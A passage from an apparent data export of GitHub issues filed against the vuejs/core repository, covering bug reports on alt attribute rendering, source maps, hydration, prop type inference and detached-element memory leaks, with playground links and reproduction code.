### System Info

```shell

```

### Any additional comments?

_No response_",,2025-05-01T21:29:24Z,2025-05-01T21:35:49Z,0
vuejs/core,3031367122,"WCAG issue, Vue strips value from img alt attribute when empty string","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU1LAzEQ/SsxlyqU3YOeylZQKagHFRW8BMqynU3T5ovMbFso+9+dbGntQXrLzHt5H8lePsRYbDqQE1lhk0wkgUBdvFfeuBgSib1I0IpetCk4MWLqSHnlm+CRhEMtphm/Hj2DtUH8hGQXV6Mb5avyIMdCPBC4aGsCnoSojNMCUzNVckkUcVKWGFkvJMxRVliEpEvjag1YNkv2hXmbagfbkNY4bzu/KKLXSoraEosoWbJuVZ6ZyLEk5Iyt0cUKg+d6+2ytZBNcNBbSeyTDnkpOxIBkrOYK29dhR6mD8XHfLKFZ/7Nf4S7vlPxIgJA2oOQJozppoAM8+3qDHZ9PoAuLzjL7AvgJGGyXMx5oj9yaY5/xhrQvwycZr79xtiPweCyVg2ZmP/CV5Id9ulD9L+5tcTfcU76X/S+Z1bbH

### Steps to reproduce

Click Playground link then inspect the image, you will see it has an alt attribute stripped of its value instead of the value being """"


### What is expected?

`<img src=""https://sponsors.vuejs.org/images/chrome_frameworks_fund.png"" alt=""""/>`

### What is actually happening?

`<img src=""https://sponsors.vuejs.org/images/chrome_frameworks_fund.png"" alt/>`

### System Info

```shell

```

### Any additional comments?

i found this issue https://github.com/vuejs/core/issues/12140 that was closed with the comment 
_This is the default behavior of browsers. see [https://developer.mozilla.org/en-US/play?id=Qnh51plcAuBFYcqS%2Bp8XLWpzXe0jNVYjKNENRYh4fvKXzG8ntqciZzx3els%2BBM88bXU623yFtzN9Yg9R](https://developer.mozilla.org/en-US/play?id=Qnh51plcAuBFYcqS%2Bp8XLWpzXe0jNVYjKNENRYh4fvKXzG8ntqciZzx3els%2BBM88bXU623yFtzN9Yg9R)_

but that is simply not true. If you just open the inspector in chrome it looks like that, yes, but if you view the page source you see in thi... [TRUNCATED]",,2025-04-30T13:53:37Z,2025-05-03T00:38:49Z,6
vuejs/core,3029031316,Generated `v-if` output is not compatible with coverage tooling,"### Vue version

3.5.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU9PwyAU/yqE82yz6Gl2JmqWqAc16pFL0762TAoEHl2Tpd/dB83qDss4EPj94/fCkT9amw0B+IYXvnLSIvOAwTJV6nYrOHrBH4SujPbIaK8lSqPZljWl8nAvdJHPNhLRBaG3qkSgG2NFt2bDjWwoZnGmNEbrBZQy7GCcqpM279bEFPlZAl/R8+RsZJvtvdHU8Ri1Ma63UoH7sDGTKm5YYiJXUu7hLWHoAqxOeNVB9XsB3/sxYoJ/OvDgBhB84bB0LeBM777fYaTzQvamDorUV8gv8EaFee4oewq6ptpnutT2tbfGodTtj9+NCNqfhopFo3JKesHpo56vjP5f9za7Sz6hJz79AZNSn8I=

### Steps to reproduce

Example with Vitest: https://stackblitz.com/~/edit/vue-coverage

Any Javascript testing tool with coverage tooling would do.

### What is expected?

<img src=""https://github.com/user-attachments/assets/feab6d3d-b7b3-4115-8066-f2b6fb2c12c2"" width=""600"" />

_Created this image by modifying Vue compilers output result's code and source maps_

- `<script>` should not be included in source maps, so that it would be excluded from coverage.
- Ideally `v-if` would not create a single `return` with ternary, so that proper line coverage could be achieved

### What is actually happening?

<img src=""https://github.com/user-attachments/assets/8e7fb0ff-943b-4672-a371-6bf9c2c4027e"" width=""500"" />

- `<script>` is marked as branch, as its pointing to generated ternary's `alternate` node
- Lines 7 is not present in line coverage, as transpiled output contained a single return statement

### System Info

```shell
https://stackblitz.com
```

### Any additional comments?


Coverage tools have hard time remapping Vue's generated code bac... [TRUNCATED]","scope: sfc,has workaround,:hammer: p3-minor-bug",2025-04-29T17:18:32Z,2025-05-16T00:22:38Z,2
vuejs/core,3028258512,Source maps off when `<script>` doesn't contain at least one line break,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/~/edit/vue-source-maps-off?file=index.mjs

### Steps to reproduce

```sh
pnpm install
node index.mjs
# Check links in ./links.md
```


### What is expected?

Source maps of all `fixtures/*.vue` files should contain correct mappings. Using the source map visualizer it is visible that files 1-4 contain incorrect mappings. 

### What is actually happening?

Source maps of `first.vue`, `second.vue`, `third.vue` and `fourth.vue` are broken. Only the `fifth.vue` has correct mappings.

- `first.vue`: [https://evanw.github.io/source-map-visualization#MTMyNABp](https://evanw.github.io/source-map-visualization#MTMyNABpbXBvcnQgeyBjcmVhdGVIb3RDb250ZXh0IGFzIF9fdml0ZV9fY3JlYXRlSG90Q29udGV4dCB9IGZyb20gIi9Adml0ZS9jbGllbnQiO2ltcG9ydC5tZXRhLmhvdCA9IF9fdml0ZV9fY3JlYXRlSG90Q29udGV4dCgiLi9maXh0dXJlcy9maXJzdC52dWUiKTtjb25zdCBfc2ZjX21haW4gPSB7ICB9CmltcG9ydCB7IG9wZW5CbG9jayBhcyBfb3BlbkJsb2NrLCBjcmVhdGVFbGVtZW50QmxvY2sgYXMgX2NyZWF0ZUVsZW1lbnRCbG9jaywgY3JlYXRlQ29tbWVudFZOb2RlIGFzIF9jcmVhdGVDb21tZW50Vk5vZGUgfSBmcm9tICIvbm9kZV9tb2R1bGVzLy52aXRlL2RlcHMvdnVlLmpzP3Y9ZWU3YzFiNDIiCgpjb25zdCBfaG9pc3RlZF8xID0geyBrZXk6IDAgfQoKZnVuY3Rpb24gX3NmY19yZW5kZXIoX2N0eCwgX2NhY2hlKSB7CiAgcmV0dXJuIChfb3BlbkJsb2NrKCksIF9jcmVhdGVFbGVtZW50QmxvY2soImRpdiIsIG51bGwsIFsKICAgICgxICsgMyA9PT0gMikKICAgICAgPyAoX29wZW5CbG9jaygpLCBfY3JlYXRlRWxlbWVudEJsb2NrKCJoMSIsIF9ob2lzdGVkXzEsICIgSGVsbG8gd29ybGQgIikpCiAgICAgIDogX2NyZWF0ZUNvbW1lbnRWTm9kZSgidi1pZiIsIHRydW... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug",2025-04-29T13:01:17Z,2025-05-09T13:53:38Z,1
vuejs/core,3027340178,runWithContext cannot self-boot,"### Vue version

3.5

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UcFuwjAM/ZUoF4qECtN2YhRpQxzYYZs2pF1yqYqBsNaJEochof77nDBGD4hDlPj5OX7PPsona/N9ADmWE185bUl4oGCnCnVjjSNxFBugWXAOkBboqcQKRCvWzjSix5U9hZVhXJTWiuIKOesr5D+XugETKMv6opiKo0IRK3I+M4MEB4rP3AX80rT9g7pkptfgKLvWQBRFEX/rP0ZmG692IO5Go1F8KpwMT97YFQcEja1LAo4mw04gB5I8e1nrTb7zBnkmqbOSlWms5u5vljR7VXJ81qRkWdfm5yVh5AIMzni1her7Cr7zh4gp+e7Ag9uDkv85Kh3bO6Xnn688gU6yMatQM/tG8gO8qUPUeKI9B1yx7A4vqV2kzWrcLP38QID+bCoKTRNMfCV5vbMb1i9y7/OHVMdzl+0v+wHHjA==

### Steps to reproduce

```js
const app = getCurrentInstance()
setTimeout(() => {
  app.appContext.app.runWithContext(() => {
    alert(getCurrentInstance() === app);
  });
}, 1000);
```
The above code always alerts false, ideally it should output true.

### What is expected?

```js
const app = getCurrentInstance()
setTimeout(() => {
  app.appContext.app.runWithContext(() => {
    alert(getCurrentInstance() === app);
  });
}, 1000);
```
The above code always alerts false, ideally it should output true.

### What is actually happening?

getCurrentInstance should be running in an app context, like inject

runWithContext provides context to the function，In my scene, I cannot automatically pass context

<img width=""535"" alt=""Image"" src=""https://github.com/user-attachments/assets/d0705448-0e00-4d25-aa6d-d413c827c9dd"" />

openDatasetSelect internally uses the render method to render the component into the body, and the component internally uses **getCurrentInstance**

### System In... [TRUNCATED]",need more info,2025-04-29T07:19:54Z,2025-04-30T11:18:52Z,2
vuejs/core,3027289809,Update of component prop before hydration causes hydration to fail,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/github-enjfxm8b?file=src%2FApp.vue,src%2FFoo.vue

### Steps to reproduce

I recommend to open browser dev console to see the errors when the ""bug"" is reproduced. As soon as the hydration fails we get an error, following this we get an error each time we update a prop to the component that failed hydration.

1. Build stackblitz minimal reproduction
2. Resize stackblitz preview to be larger than 100px wide
2. Reload stackblitz preview (If it wasnt already 100px+ wide)
3. Press toggle button one or more times
4. Resize stackblitz preview width to be less than 100px to hydrate the Foo component
5. Now the Foo component no longer reacts to prop updates

### What is expected?

I would expect the component to hydrate successfully and function correctly even if its reactive props are updated before hydration, perhaps with a hydration warning. Alternatively, it would be reasonable if updating a prop before hydration could automatically trigger that component's hydration process without needing a custom hydration function.

### What is actually happening?

If a reactive prop is updated before the component consuming it has finished hydrating, the hydration process for that component fails. Consequently, the component becomes unresponsive to any further updates of that prop after the failed hydration attempt.

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core... [TRUNCATED]",":hammer: p3-minor-bug,scope:hydration",2025-04-29T07:02:22Z,2025-05-16T00:22:02Z,0
vuejs/core,3022884434,"vue3.2.3x 版本 与 3.5.x版本,watch的监听发生变化","### Vue version

3.2.31

### Steps to reproduce

[vue3.2.31代码](https://deploy-preview-5679--vue-sfc-playground.netlify.app/#eyJBcHAudnVlIjoiPHNjcmlwdCBzZXR1cD5cbmltcG9ydCB7IHJlZiwgdmVyc2lvbiwgY29tcHV0ZWQsIHdhdGNoLCByZWFjdGl2ZSwgdW5yZWYgfSBmcm9tICd2dWUnXG5jb25zdCB3YXRjaE51bWJlciA9IHJlZigxKVxuY29uc3QgY29tcHV0ZWROdW1iZXIgPSByZWYoMSlcbmNvbnN0IGNsaWNrTnVtYmVyID0gcmVmKDEpXG5jb25zdCBwcm9wc1JlZiA9IHJlYWN0aXZlKHtcbiAgZmlyc3RGbG9vcjoge1xuICAgIHR3b0Zsb29yOiB0cnVlXG4gIH1cbn0pXG5jb25zdCBnZXROZXdQcm9wc1JlZiA9IGNvbXB1dGVkKCgpID0+IHtcbiAgY29tcHV0ZWROdW1iZXIudmFsdWUrK1xuICBjb25zdCB7IGZpcnN0Rmxvb3IgfSA9IHVucmVmKHByb3BzUmVmKVxuICBjb25zdCB7IHR3b0Zsb29yIH0gPSBmaXJzdEZsb29yXG4gIHJldHVybiB0d29GbG9vclxufSlcblxud2F0Y2goXG4gICgpID0+IFt1bnJlZihnZXROZXdQcm9wc1JlZildLFxuICAoKSA9PiB7XG4gICAgd2F0Y2hOdW1iZXIudmFsdWUrK1xuICB9XG4pXG5jb25zdCBhYWFDbGljayA9ICgpID0+IHtcbiAgY2xpY2tOdW1iZXIudmFsdWUrK1xuICBwcm9wc1JlZi5maXJzdEZsb29yID0geyB0d29GbG9vcjogdHJ1ZSB9XG59XG48L3NjcmlwdD5cblxuPHRlbXBsYXRlPlxuICA8ZGl2IHN0eWxlPVwiY29sb3I6cmVkXCI+IHZ1ZeeJiOacrHt7IHZlcnNpb24gfX08L2Rpdj5cbiAgPGJ1dHRvbiBAY2xpY2s9YWFhQ2xpY2s+XG4gICAg54K55Ye7XG4gIDwvYnV0dG9uPlxuICA8ZGl2PiBjbGlja051bWJlcjp7eyBjbGlja051bWJlciB9fTwvZGl2PlxuICA8ZGl2PiBjb21wdXRlZE51bWJlcjp7eyBjb21wdXRlZE51bWJlciB9fTwvZGl2PlxuICA8ZGl2PiB3YXRjaE51bWJlcjp7eyB3YXRjaE51bWJlciB9fTwvZGl2PlxuPC90ZW1wbGF0ZT4iLCJpbXBvcnQtbWFwLmpzb24iOiJ7XG4gIFwiaW1wb3J0c1wiOiB7XG4gICAgXCJ2dWVcIjogXCJodHRwczovL2RlcGxveS1wcmV2aWV3LTU2NzktLXZ1ZS1zZmMtcGxheWdyb3VuZC5uZXRsaWZ5LmFwcC92dWUucnVudGltZS5lc20t... [TRUNCATED]",,2025-04-27T07:41:30Z,2025-04-27T07:55:26Z,1
vuejs/core,3020994654,JSDoc generation does not work with <script setup>,"### Vue version

3

### Link to minimal reproduction

http://

### Steps to reproduce

write JSDoc in script setup

### What is expected?

JSDoc got parsed correctly

### What is actually happening?

JSDoc left out

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-04-25T20:41:14Z,2025-04-26T12:56:40Z,1
vuejs/core,3020669817,defineEmits macro only works when assigned to variable,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNkUFLAzEQhf/KkFMLdRcpXtZtUUuvCu3BgxFZN7M1ujsJSbYIpf/dSbaVoii9JZn3vnmZ2Ylba7Ntj6IQpa+dtgE8ht5CW9FmJkXwUswlSWp6qoM2BA2NsNNhDDtJAI7FjiC+XEvaR2Wew9I54yTVhnyA4CryjXEdKphFu8JGEy7Z4ssE2VatVos37ogFPL0a02JFz4ybj8Zjxibmo3EfPp4GauzIuB8s1v1Jy/PIY9wR8StY+lfqV+bDMNLXy4CdbauAfANYYYMOqcb0yeI0AWgPZMLhScEFrBEhNuMMEXoCEhOeLZcavcnevSFeQJqFFPgZkBTPveDLDe8mPwq/D5kyXXJJMRlMtemsbtE92LikZE64WAuV22AYeMv1PfMPtljsjOo53H/FFXL+PnIH2V1PiltJEWX7QwDOuTgrwzS7Sj5eL8/gZYvOs5q/z4Xscir2X8+I4YI=

### Steps to reproduce

````vue
<script setup lang=""ts>
// Error
const transformed = fn(defineEmits<{
  validChange: [boolean]
}>());

// Works
const emit = defineEmits<{
  validChange: [boolean]
}>();
const transformed = fn(emit);
</script>
````

### What is expected?

Using the result of `defineEmits()` as a function argument without assigning it to a variable first.

In my case I transform the return `emit` instance to individual event functions.

### What is actually happening?

````txt
ReferenceError: defineEmits is not defined
    setup about:srcdoc line 63 > injectedScript:20
    callWithErrorHandling https://cdn.jsdelivr.net/npm/@vue/runtime-dom@3.5.13/dist/runtime-dom.esm-browser.js:2334
    setupStatefulComponent https://cdn.jsdelivr.net/npm/@vue/runtime-dom@3.5.13/dist/runtime-dom.esm-browser.js:9982
    setupComponent https://cdn.jsdelivr.net/npm/@vue/runtime-dom@3.5.13/dist/runtime-dom.esm-browser.js:9943
    mountComponent ... [TRUNCATED]",,2025-04-25T17:49:07Z,2025-04-26T07:45:56Z,3
vuejs/core,3019151935,Type inference failure in defineProps when using generic type aliases for function props,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU8tu2zAQ/BWCl9hAareSTqqsoI8UaA910PbIiyyvHKYUSZCU48DQv3dJRrGMWDn0InB2ZpdDcnSkn7Re7DugOS0ctFpUDkomCSm2fB8WuPyiWk2WZyhv5IcVo/hl1IMkgCSCNIA0giyADEGcUCzj5GI52g+hrQ3XjlhwnSaikjvsc5ZRZHmrlXEkbNwY1ZKrxdIDb/zqI5O1ktYR9EJWZDYnq5I0lbAwYpJJJp1ksldMsYwm0RK9RnOobPhu8WCVxPs7+tMxWqMxLsCsteM4idGcBMZzlRDq8UeoOdPB9VCv76H+e6H+YA++xuidAQtmD4y+cK4yO3CRvv39Ew64fiFbte0Eqt8gf4FVovMeo+xzJ7doe6QLbr+Hu+dy98feHhxIOxzKG/XKPugZxbfwbzJ19JPddJGFPiZ7vMXhHS8GkFj3JACD0GI3l+82yjnV5iR5r/FihkD6PB2P4f37fojXOZNMMukkk50x/xFb96SBfOukzxHHrpzIrt2ACZnaKCWgkpiqQZYU6/IkXU+ofCqDOM4qkRoiq43SFulH7u6/QlN1wtmZ976Fhku483Tx/CB4WTe5H4T9EScRjwdHIr3J37IfRVnszkKhL2fzkIrTZvnzrzSKN255sZperGavqj548/FfSft/9JKE/g==

### Steps to reproduce

When defining props using defineProps with function types that utilize generic type aliases, the compiled prop type incorrectly becomes null instead of Function. This occurs specifically when using:

Generic type aliases (Fun2<number> in reproduction)

Type aliases referencing generic types (Fun4 in reproduction)

![Image](https://github.com/user-attachments/assets/c80b457c-69ef-43c8-846d-df542347b6c8)

Can see that fn2 and fn4 are null in type

### What is expected?

All default function should be Function type

### What is actually happening?

![Image](https://github.com/user-attachments/assets/57ab0bc1-7c36-4a92-80c9-caa28cc41da2)
fn2 and fn4 both became boolean

### System Info

```shell

```

### Any additional c... [TRUNCATED]","scope: compiler,scope: sfc,:hammer: p3-minor-bug",2025-04-25T06:47:52Z,2025-05-16T00:32:14Z,0
vuejs/core,3018882264,页面加载 v-if 只有第一次加载生效,"### Vue version

1.6

### Link to minimal reproduction

1

### Steps to reproduce

1

### What is expected?

1

### What is actually happening?

1

### System Info

```shell

```

### Any additional comments?

1",,2025-04-25T03:16:19Z,2025-04-25T03:19:32Z,1
vuejs/core,3017610357,Iterator helpers removed after conversion to Ref,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-mzgojv7d?file=src%2FApp.vue

### Steps to reproduce

1. Create a Ref containing a `Set` or `Map`
2. Access the Set with `.value`
3. Create an Iterator from the Set with `.values()`
4. Use one of the Iterator instance methods as shown [here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Iterator)

### What is expected?

The Iterator instance methods should work as expected and outlined in the MDN docs

### What is actually happening?

The Iterator instance methods aren't found

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-04-24T15:09:11Z,2025-04-24T23:59:00Z,2
vuejs/core,3015399657,Optional prop with default may incorrectly be undefined in template when `exactOptionalPropertyTypes` and `strictNullChecks` are true,"### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU8Fu2zAM/RVOpxZobAzbyXAzbGkP26Er1mC76GLYdOxWljSJblIY/vdRcltnadMiF4nv+eXxiRzEV2uT+x5FJnJfutYSeKTegir05lwK8lIspW47axzBynQWamc6kCJJwy18K4XUUpdGewLrjPVwDtuWmgusi16RP2GYKqxbjdcBzodQkOTJtXrzZ2Z+yWCqBXxcnpyehcMxdsYmWDUcfxcq2Ij0UepTqfN06oa984Wws6og5BtA3nxcDsPjP+3pwTjmKWOR82GxgAuDHrQh2Bp3B4vFhMQMMod/+9ZhdRNVOKgXclKks9S6QaiNUmbLpKjn3xOMSSZHZPN0ryVxxs/E8dftJrn1RvNbcmbA8ZQs3Sp0Py21/DxSZBCRgBXBzY9YI9cjZzfVywbLu1fqt34XalJcO/To7qe8J4wKt0G2FuDLmyvc8fkZ7EzVK2a/Af5Cb1QfPE60b72u2PYeL7r9HqeQ81j7yx2h9k9NPRqNPx4VKXBXlDR1XagwdOjoYf1g8WVfIeGSrnqlVqHzZ0LAx8iSgoc8vNKxKOf2PyWf43dSj/wqTwvyznIdrAbA/7MwL0VYiYPRfm24V02rqrirRqOedpLdDge687zvTZMY/wHSU2oA

### Steps to reproduce

1. In your `tsconfig.json`, under `compilerOptions`, enable `exactOptionalPropertyTypes` and `strictNullChecks`
    - Note: Setting `""strict"": true` will also enable `strictNullChecks` and cause the issue
2. In a component, create an optional prop that has a default value
Example:
```js
const props = withDefaults(
	defineProps<{
		stringWithDefault?: string
	}>(),
	{
		stringWithDefault: ""defaultValue"",
	}
)
```
3. Pass that variable to another component as a prop that is required (line 17 in the reproduction)
4. Notice the error:
```
Type 'string | undefined' is not assignable to type 'string'.
  Type 'undefined' is not assignable to type 'string'.ts(2322)
```
...even though it is impossible for the variable to ever be undefined.

5. To confirm, p... [TRUNCATED]","scope: types,has workaround",2025-04-23T22:41:39Z,2025-04-25T20:55:22Z,1
vuejs/core,3010548371,No override props value in component,"### Vue version

Vue 3 @latest

### Link to minimal reproduction

https://play.vuejs.org/#eNqVVM1u2zAMfhXOGOAWSG0M28nzOixFD9thK7YefVFkxlGjSIYkpy6CvPso2k4TIO3Wk0XyI/nxx9wl39o223aYFEnppVNtAC1M86VKgq8S8Bi69royatNaF+AefZjbHpbObiDN8lGOAdLPlSnzIQQ5kBBw02oRkCSAslZbftBz9eH6TounxtnO1GVO4mjwKIOyZhRJMeUrauHWxGkptEeilU8e+bFLmQ9JyvwodTKjSqQ1S9VkD94aKnQXwVUi7aZVGt2vNkagagtgS7QJre3jD9YF1+Fs0ssVyvUZ/YPvo65K7hx6dFsiebAF4RoMg/n2z0/s6X0wbmzdaUK/YvyN3uouchxgc+oa0T7CMdvvPCJlmnt/2wc0fioqEo3IPeOrhIZ180rpz3Q/Zp/YrzJ76mKcxemmPO/FDmpcKsNxrUETYD/uyLgZlcGekYQTnebvMf6C07fOtv5AJc68gLm1GgUFmArglbxg6Axk6C8nPA2ZGoWZts1FyvZ0NoS8PAMgTzJH/6lGevxjgaGQWnhPi7gDrZpVKOBdZDljrhQkGfdyRw2Jmq+Qxm8KBaTskMKeUr2wqiT68KTjM2N3Lmwh5Hr4Va6k1dYVsNCkoqaSzboaSRNWygDVpmqQnXPU0JsIZczo9LhSAUlB6Sk8k3kp/gR9U/yJFMWnLnIZ49KMB+Lowpy5Kicn5T/uyXgcYHu1UKamibwXIbh4sqZbwWs/nIrTg7D/C8g6rHA=

### Steps to reproduce

See [playground](https://play.vuejs.org/#eNqVVM1u2zAMfhXOGOAWSG0M28nzOixFD9thK7YefVFkxlGjSIYkpy6CvPso2k4TIO3Wk0XyI/nxx9wl39o223aYFEnppVNtAC1M86VKgq8S8Bi69royatNaF+AefZjbHpbObiDN8lGOAdLPlSnzIQQ5kBBw02oRkCSAslZbftBz9eH6TounxtnO1GVO4mjwKIOyZhRJMeUrauHWxGkptEeilU8e+bFLmQ9JyvwodTKjSqQ1S9VkD94aKnQXwVUi7aZVGt2vNkagagtgS7QJre3jD9YF1+Fs0ssVyvUZ/YPvo65K7hx6dFsiebAF4RoMg/n2z0/s6X0wbmzdaUK/YvyN3uouchxgc+oa0T7CMdvvPCJlmnt/2wc0fioqEo3IPeOrhIZ180rpz3Q/Zp/YrzJ76mKcxemmPO/FDmpcKsNxrUETYD/uyLgZlcGekYQTnebvMf6C07fOtv5AJc68gLm1GgUFmArglbxg6Axk6C8nPA2ZGoWZts1FyvZ0NoS8PAMgTzJH/6lGevxjgaGQWnhPi7gDrZpVKOBdZDljrhQkGfdyRw2Jmq+Qxm8KBaTskMKeUr2wqiT68KTjM2N3Lmw... [TRUNCATED]",,2025-04-22T09:46:08Z,2025-04-22T13:57:26Z,0
vuejs/core,3010248896,comp name startwith`_` will render error,"### Vue version

lastest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1PwzAM/StRLrtMrSo4TR0SoB3gAAg4RqqqzCsZaRLlY1Sa+t9x0rVM7OMU2+/Zfrazp/fGZLsAdEFLx60wnjjwwdwxJVqjrScVJxurWzLL8kfdJvJsAvlZkGvlECNLTB69Cusskc9UmQ+NsAU6Hlojaw/oEVJynh+Mw1tNxmCV+VECnVPvsPxGNNnWaYVD7COZUY5ihAT7arzA9owuSEIiVkupf55TzNsA8zHOv4B/n4lvXRdjjL5ZcGB3wOiE+do24Ad49fECHdoT2Op1kMi+Ar6D0zJEjQPtIag1yj7iJbVPadtCNZ9u1XlQbhwqCo3MPvEZxf3HO1wa/U/uTXab8pjqcYvj7U5+wZVbFUXx/xz9L7jlwuc=

### Steps to reproduce

1. check render result

### What is expected?

render successful

### What is actually happening?

render error without warning

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-04-22T07:51:38Z,2025-04-22T13:51:46Z,1
vuejs/core,3006753315,Detached elements hold by stale __vnode (dev only),"### Vue version

3.5.13

### Link to minimal reproduction

[Playground](https://play.vuejs.org/#eNp9kctuwjAQRX/F8ipINIDaFQqR+mDRLtqqZelNFCaJqWNbfgQklH/vTFIoC8QmGs89ub4zPvJHa9MuAl/yLEBrVREgF5qxbCu7PJvR93ykAstmwbo7Wa0E943ZC45YsxipPz6bXXhlvnTSBuYhRItn2VrjAjsyBxXrWeVMywTHDIILLXRptEcYndmKkCS4CBNS0GAjWzAxJMmErXJ2pDuJTLtCRUC+KpQH6pKLUZAqUyeCvxiN7mjST9liPp9jlc3GWDmf8uARr2Sd7rzRuInBV/DStFYqcB82SLQTfDneSFqhlNm/DT3KNz31ywbKnyv9nT9QT/BPBx5ch3HOWihcDWGU19/vcMD6LLZmGxXSN8QvwFEjZRyxp6i3GPuCG9K+DnuXut749SGA9qehKCiR/cAPT/F8Y/T/uPfpw/Af7pX3v/sswD0=)

### Steps to reproduce

1. Open DevTools and navigate to console tab
2. Wait until the console logs ""Done"", then navigate to memory tab
3. Take a heap snapshot and filter using ""detached \<h1\>""

### What is expected?

Detached \<h1\> shouldn't show up in the memory profile

### What is actually happening?

Detached \<h1\> shows up in the memory profile

### System Info

```shell

```

### Any additional comments?

_No response_",:exclamation: p4-important,2025-04-20T02:05:09Z,2025-05-01T09:54:41Z,0
vuejs/core,3002307781,性能问题,"### Vue version

所有版本

### Link to minimal reproduction

 https://feng3d.com/reactivity/#复杂情况取值

### Steps to reproduce


示例： https://feng3d.com/reactivity/#复杂情况取值

| 运行库 | 性能(ms) | 速度(x) |
| --- | --- | --- |
| @feng3d/reactivity | 2.8 | 286 |
| @vue/reactivity | 801 | 1 |

### 测试代码
```ts
复杂情况取值(ref, computed, 10000);

export function 复杂情况取值(ref: <T>(value?: T) => { value: T }, computed: <T>(func: (oldValue?: T) => T) => { readonly value: T }, count: number)
{
    const result = { time: undefined, values: [] };

    const b = ref(2);

    function 递归(depth = 10)
    {
        if (depth <= 0) return computed(() =>
        {
            return b.value
        }).value;

        return computed(() =>
        {
            return 递归(depth - 1) + 递归(depth - 2);
        }).value;
    }

    const cb = computed(() =>
    {
        return 递归(16);
    });

    b.value++;
    cb.value;

    const start = performance.now();
    for (let i = 0; i < count; i++)
    {
        ref(1).value++; // 添加此行代码将会导致 @vue/reactivity 版本的性能下降，而 @feng3d/reactivity 版本的性能保持不变

        cb.value;
    }
    result.time = performance.now() - start;

    result.values.push(cb.value);

    return result;
}
```

### 分析
@feng3d/reactivity自下而上的使用脏标记进行维护状态，当发生变化时只会冒泡一次到父节点，全局有变化时（ref(1).value++ 标记变化）并不会触发重新计算。
@vue/reactivity自上而下的使用版本号进行维护状态，当全局有变化时（ref(1).value++ 标记变化）每次取值时都会遍历整个树的子节点比对版本号判断是否需要重新计算。

### What is expected?

。。。

### What is actually happening?

。。。

### System Info

```shell

```

### Any addition... [TRUNCATED]",,2025-04-17T12:10:05Z,2025-04-17T13:28:29Z,1
vuejs/core,2999075060,Injection breaks when nesting Vue custom elements,"### Vue version

3.5.0 - 3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNrlVcFu2kAQ/ZXVqpKNRIwi2gshSG3EIT00VdNbHTXIHmCpvbvaXVMkxL93dtYG2ySohx4ilQNiZ96M386bZ/b8o9bJtgI+4VObGaEds+AqPUslY6LUyjgWJaOHyoGZF1CCdImz0U03fS9lPz0dhXbYCA8OSl0sHFDbqfLdriDgZ9NR9+xrW3g+5M5mSi7FKtlYJZHp3ndJeaZKLQowD9oJJW3KJ4wyPrcoCvX7M8WcqWDYxLM1ZL9eiG/szsdS/tWABbOFlB9zbmFW4EJ6/vgFdvj7mCxVXhWIvpD8BlYVlecYYJ8qmSPtFo7Y3tM4hVx9t/OdA2mbS3miHnkgfMpRrrsLVz/RHSfvqS6VB5xiT0OcYy3gnuWwFBLuKutUWSPYgS2NKsPjUo6K9tFIQcnLSCE3kF0CrM9zqUSxrWO0FA2Z25coxv5yPTJxPQZa4njQTIWx0NSuFwZybBeYxVEIRANa6BOOHt6C0fkMJfzat1B0JlSDM0jDSIZEbmfsRxP1n3Uc5WIbDc+i62sMRiQWqy0RDepN6ZU+PxL7CXu3D/c4PL+GpH4eSDd5HUdO9ji6Sxf31D5gCUEa20aDJvdUTwnXDr9CTS1DsHFlAN868ULrlj54SrRRW5HDURWcw5k+HVyQBWFdfcKTUxmUyNo7Y5OwMHXtkf2ws2+DG/RL76X21v1Cavy3fiGx3q5f/oEnTru+BWNEnoO86o+5UxCmiwWnMf+1ObrWHnaWi8zxE0n4Pyh0xTj5kFyP+eEPRwulpQ==

### Steps to reproduce

Create two custom elements using Vue's `defineCustomElement` (`outer-component` and `inner-component`). In both `defineCustomElement` calls, use `configureApp` to `provide` a value. Then, nest `inner-component` within `outer-component`.

### What is expected?

I expect that both custom elements get their own isolated injection scope. Values that are provided on `inner-component` are not visible on `outer-component`, and vice versa.

Or, even if `inner-component` has access to the values provided by `outer-component`, I expect that it definitely has access to the values provided on `inner-component` a... [TRUNCATED]",":hammer: p3-minor-bug,scope: custom elements",2025-04-16T09:42:23Z,2025-05-16T00:07:33Z,2
vuejs/core,2998988383,Detached elements due to cached static vnodes,"### Vue version

3.5.13

### Link to minimal reproduction

[Playground](https://play.vuejs.org/#eNp9UstOwzAQ/BXjS0CCRAhOVVpeqgQcAFGOvpR007p1bMuPtlKUf2fXaUuRgJPtmdnxrNctv7M2X0fgA176ykkbmIcQ7Uho2VjjAmuZg5p1rHamYRlKswP1YBq7w/OCDuSEtNCV0R6dFmbDhlR/GlyEM6HLor8E7fEQoLFqGgBPjJWfMQSj2W2lZLUaCr6rPqFV8FHb9n43LHuUM8jYgGUTBDLWdWXRF/dGKdb6QtY7EywmyGjQoUw5UVcWR7fzcx48Zq7lPF96o/E1WrISvEK1VOBebZDYk+ADlhjipkqZzXPCqL3zPV4toFr9gi/9ljDB3xx4cGsQ/MCFqZtD6Onx5AW2uD+QjZlFhep/yHfwRkXK2Mvuo55h7CNdSvuUBif1/MOPtwG03zdFQUnZJb3gOEh6qL9a/457lV+nOqE7fMX9J6Dv9HO6i8u04s4rE0b4EWhJVJG4o4Hw7gvcxNvA)

### Steps to reproduce

1.  Open DevTools and navigate to memory tab
2.  Click ""Hide"" button
3.  Take a heap snapshot and filter using ""detached \<h1\>""

### What is expected?

Detached \<h1\> shouldn't show up in the memory profile.

### What is actually happening?

Detached \<h1\> shows up in the memory profile.

### System Info

```shell
Chrome 135.0.7049.85
```

### Any additional comments?

